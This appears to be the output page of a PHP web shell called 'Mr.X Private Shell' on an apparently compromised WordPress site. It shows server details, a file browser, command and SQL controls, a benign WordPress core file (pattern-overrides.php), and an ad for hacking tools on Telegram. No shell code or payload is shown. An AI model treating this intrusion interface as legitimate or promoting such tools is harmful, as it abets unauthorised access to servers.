Uname: Linux 50-6-4-53.bluehost.com 5.14.0-611.41.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 19 03:50:11 EDT 2026 x86_64
User: 1011 (dccreditrepairto)
Group: 1010 (dccreditrepairto)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/dccreditrepairto/public_html/wp-includes/block-bindings      ( Reset | Go to )
File Name: pattern-overrides.php
Edit
<?php
/**
 * Pattern Overrides source for the Block Bindings.
 *
 * @since 6.5.0
 * @package WordPress
 * @subpackage Block Bindings
 */

/**
 * Gets value for the Pattern Overrides source.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array    $source_args    Array containing source arguments used to look up the override value.
 *                                 Example: array( "key" => "foo" ).
 * @param WP_Block $block_instance The block instance.
 * @param string   $attribute_name The name of the target attribute.
 * @return mixed The value computed for the source.
 */
function _block_bindings_pattern_overrides_get_value( array $source_args$block_instancestring $attribute_name ) {
    if ( empty( 
$block_instance->attributes['metadata']['name'] ) ) {
        return 
null;
    }
    
$metadata_name $block_instance->attributes['metadata']['name'];
    return 
_wp_array_get$block_instance->context, array( 'pattern/overrides'$metadata_name$attribute_name ), null );
}

/**
 * Registers Pattern Overrides source in the Block Bindings registry.
 *
 * @since 6.5.0
 * @access private
 */
function _register_block_bindings_pattern_overrides_source() {
    
register_block_bindings_source(
        
'core/pattern-overrides',
        array(
            
'label'              => _x'Pattern Overrides''block bindings source' ),
            
'get_value_callback' => '_block_bindings_pattern_overrides_get_value',
            
'uses_context'       => array( 'pattern/overrides' ),
        )
    );
}

add_action'init''_register_block_bindings_pattern_overrides_source' );

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL